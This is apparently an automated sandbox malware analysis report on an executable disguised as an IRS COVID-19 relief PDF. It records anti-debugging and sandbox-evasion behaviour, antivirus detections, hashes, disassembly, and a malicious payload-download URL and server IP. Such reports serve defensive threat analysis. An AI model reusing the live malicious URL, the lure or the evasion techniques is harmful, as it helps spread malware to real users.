Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Last function: Thread delayed

Source: IRS_Covid-19_Relief_Payment_Notice_pdf.exe

Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe

Anti Debugging:

Contains functionality to hide a thread from the debugger

Show sources

Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe

Code function: 0_2_024108BF NtSetInformationThread 000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?

0_2_024108BF

Hides threads from debuggers

Show sources

Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Thread information set: HideFromDebugger			Jump to behavior

Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe

Code function: 0_2_02410BA5 rdtsc

0_2_02410BA5

Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe

Code function: 0_2_02414A2D LdrInitializeThunk,

0_2_02414A2D

Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02412294 mov eax, dword ptr fs:[00000030h]	0_2_02412294
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_0241838A mov eax, dword ptr fs:[00000030h]	0_2_0241838A
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_024183B9 mov eax, dword ptr fs:[00000030h]	0_2_024183B9
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02413017 mov eax, dword ptr fs:[00000030h]	0_2_02413017
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02413020 mov eax, dword ptr fs:[00000030h]	0_2_02413020
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02413096 mov eax, dword ptr fs:[00000030h]	0_2_02413096
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_024130AE mov eax, dword ptr fs:[00000030h]	0_2_024130AE
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02416924 mov eax, dword ptr fs:[00000030h]	0_2_02416924
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_024141E9 mov eax, dword ptr fs:[00000030h]	0_2_024141E9
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02417632 mov eax, dword ptr fs:[00000030h]	0_2_02417632
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_0241845E mov eax, dword ptr fs:[00000030h]	0_2_0241845E
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02418402 mov eax, dword ptr fs:[00000030h]	0_2_02418402
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_0241841F mov eax, dword ptr fs:[00000030h]	0_2_0241841F
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02412D1A mov eax, dword ptr fs:[00000030h]	0_2_02412D1A
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 2_2_00563017 mov eax, dword ptr fs:[00000030h]	2_2_00563017
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 2_2_00563020 mov eax, dword ptr fs:[00000030h]	2_2_00563020
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 2_2_00563096 mov eax, dword ptr fs:[00000030h]	2_2_00563096
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 2_2_005630AE mov eax, dword ptr fs:[00000030h]	2_2_005630AE
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 2_2_00566924 mov eax, dword ptr fs:[00000030h]	2_2_00566924
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 2_2_005641E9 mov eax, dword ptr fs:[00000030h]	2_2_005641E9
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 2_2_00562294 mov eax, dword ptr fs:[00000030h]	2_2_00562294
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 2_2_0056838A mov eax, dword ptr fs:[00000030h]	2_2_0056838A
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 2_2_005683B9 mov eax, dword ptr fs:[00000030h]	2_2_005683B9
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 2_2_0056845E mov eax, dword ptr fs:[00000030h]	2_2_0056845E
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 2_2_0056841F mov eax, dword ptr fs:[00000030h]	2_2_0056841F
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 2_2_00568402 mov eax, dword ptr fs:[00000030h]	2_2_00568402
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 2_2_00562D1A mov eax, dword ptr fs:[00000030h]	2_2_00562D1A
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 2_2_00567632 mov eax, dword ptr fs:[00000030h]	2_2_00567632

HIPS / PFW / Operating System Protection Evasion:

Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe

Process created: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe 'C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe'

Jump to behavior

Source: IRS_Covid-19_Relief_Payment_Notice_pdf.exe, 00000002.00000002.1000756448.0000000000EA0000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: IRS_Covid-19_Relief_Payment_Notice_pdf.exe, 00000002.00000002.1000756448.0000000000EA0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: IRS_Covid-19_Relief_Payment_Notice_pdf.exe, 00000002.00000002.1000756448.0000000000EA0000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: IRS_Covid-19_Relief_Payment_Notice_pdf.exe, 00000002.00000002.1000756448.0000000000EA0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Process Injection12	Virtualization/Sandbox Evasion22	Input Capture1	Security Software Discovery721	Remote Services	Input Capture1	Exfiltration Over Other Network Medium	Encrypted Channel12	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Process Injection12	LSASS Memory	Virtualization/Sandbox Evasion22	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Ingress Tool Transfer1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information1	Security Account Manager	Process Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	Application Window Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol2	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Remote System Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	System Information Discovery31	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
IRS_Covid-19_Relief_Payment_Notice_pdf.exe	68%	Virustotal		Browse
IRS_Covid-19_Relief_Payment_Notice_pdf.exe	41%	Metadefender		Browse
IRS_Covid-19_Relief_Payment_Notice_pdf.exe	75%	ReversingLabs	Win32.Spyware.Noon

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
chengsolution.com	8%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://chengsolution.com/vr/tembin_AbNFdk131.bin	11%	Virustotal		Browse
https://chengsolution.com/vr/tembin_AbNFdk131.bin	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
chengsolution.com	162.0.209.179	true	true	8%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://chengsolution.com/vr/tembin_AbNFdk131.bin	IRS_Covid-19_Relief_Payment_Notice_pdf.exe	true	11%, Virustotal, Browse Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
162.0.209.179	unknown	Canada		35893	ACPCA	true

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	344014
Start date:	25.01.2021
Start time:	21:11:27
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	IRS_Covid-19_Relief_Payment_Notice_pdf.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@3/0@1/1
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 6.7% (good quality ratio 4.1%) Quality average: 29.6% Quality standard deviation: 28.9%
HCA Information:	Successful, ratio: 77% Number of executed functions: 167 Number of non-executed functions: 32
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 168.61.161.212, 51.11.168.160, 52.155.217.156, 20.54.26.129, 8.248.137.254, 8.241.11.126, 8.248.113.254, 8.241.121.254, 8.241.123.254, 95.101.22.134, 95.101.22.125 Excluded domains from analysis (whitelisted): displaycatalog-europeeap.md.mp.microsoft.com.akadns.net, arc.msn.com.nsatc.net, db3p-ris-pf-prod-atm.trafficmanager.net, displaycatalog.md.mp.microsoft.com.akadns.net, ris-prod.trafficmanager.net, skypedataprdcolcus17.cloudapp.net, ctldl.windowsupdate.com, a1449.dscg2.akamai.net, arc.msn.com, db5eap.displaycatalog.md.mp.microsoft.com.akadns.net, ris.api.iris.microsoft.com, blobcollector.events.data.trafficmanager.net, audownload.windowsupdate.nsatc.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, auto.au.download.windowsupdate.com.c.footprint.net, img-prod-cms-rt-microsoft-com.akamaized.net, au-bg-shim.trafficmanager.net Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
21:12:38	API Interceptor	201x Sleep call for process: IRS_Covid-19_Relief_Payment_Notice_pdf.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
162.0.209.179	IRS_Covid_19_Relief_Grant_Document_docx.exe	Get hash	malicious	Browse
162.0.209.179	IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
chengsolution.com	IRS_Covid_19_Relief_Grant_Document_docx.exe	Get hash	malicious	Browse	162.0.209.179
chengsolution.com	IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Get hash	malicious	Browse	162.0.209.179

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ACPCA	BENVAV31BU.html	Get hash	malicious	Browse	162.0.209.171
	IRS_Covid_19_Relief_Grant_Document_docx.exe	Get hash	malicious	Browse	162.0.209.179
	invoice 2021.xlsx	Get hash	malicious	Browse	162.0.215.9
	1ELOG8UQ4M.htm	Get hash	malicious	Browse	162.0.209.171
	1ELOG8UQ4M.htm	Get hash	malicious	Browse	162.0.209.171
	FM0DWXGE27.htm	Get hash	malicious	Browse	162.0.209.171
	Purchase Order and Contract Agreement Namtip THAI CO.doc	Get hash	malicious	Browse	162.0.209.181
	IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Get hash	malicious	Browse	162.0.209.179
	LRGjZ3F0AO.exe	Get hash	malicious	Browse	162.0.219.122
	Busan Korea.exe	Get hash	malicious	Browse	162.0.213.60
	mssecsvc.exe	Get hash	malicious	Browse	162.36.93.137
	SCAN_20210115140930669.exe	Get hash	malicious	Browse	162.0.213.203
	Order (2021.01.06).exe	Get hash	malicious	Browse	162.0.213.203
	https://vodafone-bill-failed.com	Get hash	malicious	Browse	162.0.215.120
	UF14VE7MF3.htm	Get hash	malicious	Browse	162.0.209.142
	https://verify-requests.com/HSBC/	Get hash	malicious	Browse	162.0.209.141
	46M2B7IIGN.htm	Get hash	malicious	Browse	162.0.209.142
	http://recp.mkt91.net/ctt?m=804040&r=Njg0NjYxMDU1NQS2&b=0&j=NjAwMDczOTg3S0&k=NCLogo&kx=1&kt=12&kd=https://ahlhealth.com/Wednesday5029kl%23mark.tryniski@cbna.com	Get hash	malicious	Browse	162.0.209.130
	https://linkprotect.cudasvc.com/url?a=https%3a%2f%2fin0038847990.sn.am%2flfCk7ZE6GWq&c=E,1,XbwqZlmKwFAf_trFhDdV9wkuU6vutPEIQqN4IhE8jUbxLD3wnPPXDvKp8Jibjk9HngPAI5iRQWnG4vU_DQMKfMGkzgCqkZ-4BfRprMNSl9Nr7VoPQEtWNft5&typo=1	Get hash	malicious	Browse	162.0.209.25
	https://joom.ag/qJFC	Get hash	malicious	Browse	162.0.209.115

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
37f463bf4616ecd445d4a1937da06e19	PAYMENT INFO.xlsx	Get hash	malicious	Browse	162.0.209.179
	k.dll	Get hash	malicious	Browse	162.0.209.179
	DOCUMENTS_RECEIVED.html	Get hash	malicious	Browse	162.0.209.179
	case (348).xls	Get hash	malicious	Browse	162.0.209.179
	request_form_1611565093.xlsm	Get hash	malicious	Browse	162.0.209.179
	creoagent.dll	Get hash	malicious	Browse	162.0.209.179
	creoagent.dll	Get hash	malicious	Browse	162.0.209.179
	case (426).xls	Get hash	malicious	Browse	162.0.209.179
	case (250).xls	Get hash	malicious	Browse	162.0.209.179
	rvYr7FRwkG.dll	Get hash	malicious	Browse	162.0.209.179
	case (1447).xls	Get hash	malicious	Browse	162.0.209.179
	case (850).xls	Get hash	malicious	Browse	162.0.209.179
	SecuriteInfo.com.Heur.18472.xls	Get hash	malicious	Browse	162.0.209.179
	case (1543).xls	Get hash	malicious	Browse	162.0.209.179
	SecuriteInfo.com.FileRepMalware.dll	Get hash	malicious	Browse	162.0.209.179
	case_1581.xls	Get hash	malicious	Browse	162.0.209.179
	case (435).xls	Get hash	malicious	Browse	162.0.209.179
	case (426).xls	Get hash	malicious	Browse	162.0.209.179
	case (61).xls	Get hash	malicious	Browse	162.0.209.179
	BENVAV31BU.html	Get hash	malicious	Browse	162.0.209.179

Dropped Files

No context

Created / dropped Files

No created / dropped files found

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.442072374572181
TrID:	Win32 Executable (generic) a (10002005/4) 99.15% Win32 Executable Microsoft Visual Basic 6 (82127/2) 0.81% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	IRS_Covid-19_Relief_Payment_Notice_pdf.exe
File size:	86016
MD5:	5525bb8a978d3ac15812c8d8ca9b8a57
SHA1:	dcb9549ff9c290e056f83639ad546b03206a0806
SHA256:	21f49ea6e105c22882a9fb0065803deee18eddb76767a30ddade2e2725eb65d9
SHA512:	0e5504ee2fc22ce87c1cac663e0c4cd76227025da20c2903d63ddafc0fc8a270d56a90b89c31d8ee448a61f881ace27037beb623f4409b9d1020a6b2a0a9f35b
SSDEEP:	768:bwSsRk+UMfhoeoCm0TI4Y4az55+mGMZkNS8+EMaybN1hBuKYR6mTLktPV9lIBtyd:JzTMoCnbO5+mG4ietbzhBuKYT3yVQm
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........#...B...B...B..L^...B...`...B...d...B..Rich.B..........PE..L...5..`................. ...0...............0....@................

File Icon


Icon Hash:	c0c4c26270faec04

Static PE Info

General
Entrypoint:	0x401498
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:
Time Stamp:	0x6006B035 [Tue Jan 19 10:11:01 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	98834e8b1c22ed6d1484c39b625780c4

Entrypoint Preview

Instruction
push 00401AD0h
call 00007F1084753633h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
dec eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], cl
inc ecx
hlt
or cl, 00000019h
fimul word ptr [ecx-53h]
out dx, eax
adc dword ptr [edi-2Fh], 0Dh
mov al, byte ptr [000000DBh]
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+61h], ch
outsb
insb
imul ebp, dword ptr [esi+67h], 6E616C70h
jc 00007F10847536B1h
add byte ptr [eax], ch
js 00007F108475367Ah
sub dword ptr [edx+00h], ebx
add byte ptr [eax], al
add bh, bh
int3
xor dword ptr [eax], eax
or dword ptr [edx+3ADED508h], esp
or ecx, dword ptr [edx-6Ch]
pop ds
pop ds
xchg eax, ecx
les ebp, fword ptr [esi]
retf
xor al, 10h
inc esi
cmp dword ptr [ebx+69h], edi
mov eax, dword ptr [AD989B4Ch]
cmp cl, byte ptr [ecx]
test eax, 4F3AF830h
lodsd
xor ebx, dword ptr [ecx-48EE309Ah]
or al, 00h
stosb
add byte ptr [eax-2Dh], ah
xchg eax, ebx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
fiadd word ptr [eax+eax]
add byte ptr [eax+03h], dl
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [esi+69h], al
arpl word ptr [ebp+73h], si
jnc 00007F1084753643h
or eax, 00000801h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x129b4	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x15000	0x614	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x228	0x20
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x128	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x11ebc	0x12000	False	0.396335177951	data	5.91456759437	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x13000	0x11c0	0x1000	False	0.00634765625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x15000	0x614	0x1000	False	0.159423828125	data	1.53535569768	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x1532c	0x2e8	data
RT_GROUP_ICON	0x15318	0x14	data
RT_VERSION	0x150f0	0x228	data	English	United States

Imports

DLL

Import

MSVBVM60.DLL

_CIcos, _adj_fptan, __vbaVarMove, __vbaFreeVar, __vbaStrVarMove, __vbaFreeVarList, _adj_fdiv_m64, __vbaFreeObjList, _adj_fprem1, __vbaHresultCheckObj, _adj_fdiv_m32, __vbaAryVar, __vbaAryDestruct, __vbaLateMemSt, __vbaObjSet, _adj_fdiv_m16i, __vbaObjSetAddref, _adj_fdivr_m16i, _CIsin, __vbaErase, __vbaChkstk, EVENT_SINK_AddRef, __vbaStrCmp, __vbaObjVar, _adj_fpatan, __vbaLateIdCallLd, __vbaRedim, EVENT_SINK_Release, _CIsqrt, EVENT_SINK_QueryInterface, __vbaExceptHandler, _adj_fprem, _adj_fdivr_m64, __vbaFPException, _CIlog, __vbaErrorOverflow, __vbaNew2, _adj_fdiv_m32i, _adj_fdivr_m32i, __vbaStrCopy, __vbaI4Str, __vbaDerefAry1, _adj_fdivr_m32, _adj_fdiv_r, __vbaVarTstNe, __vbaI4Var, __vbaVarDup, __vbaVarCopy, __vbaLateMemCallLd, _CIatan, __vbaStrMove, __vbaAryCopy, _allmul, __vbaLateIdSt, _CItan, _CIexp, __vbaFreeObj, __vbaFreeStr

Version Infos

Description	Data
Translation	0x0409 0x04b0
InternalName	auricular
FileVersion	2.00
CompanyName	ViralCherry
ProductName	ViralCherry
ProductVersion	2.00
OriginalFilename	auricular.exe

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
01/25/21-21:13:16.006774	ICMP	402	ICMP Destination Unreachable Port Unreachable			192.168.2.4	8.8.8.8

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 25, 2021 21:12:37.163822889 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:37.370588064 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:37.370753050 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:37.387664080 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:37.593071938 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:37.593127012 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:37.593166113 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:37.593189001 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:37.593291998 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:37.593463898 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:37.593763113 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:37.593851089 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:37.723326921 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:37.929546118 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:37.929732084 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:37.952332973 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:38.161600113 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:38.161936045 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:38.165251017 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:38.409738064 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:38.502199888 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:38.502262115 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:38.502304077 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:38.502319098 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:38.502332926 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:38.502391100 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:38.502404928 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:38.502451897 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:38.502465010 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:38.502504110 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:38.502521038 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:38.502577066 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:38.504307032 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:38.504407883 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:38.612926006 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:38.817199945 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:38.823016882 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:38.823117971 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:38.825042963 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:39.069766045 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:39.154299974 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:39.154360056 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:39.154412031 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:39.154422998 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:39.154463053 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:39.154478073 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:39.154512882 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:39.154553890 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:39.154561996 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:39.154633999 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:39.155539989 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:39.155623913 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:39.268781900 CET	49745	443	192.168.2.4	162.0.209.179
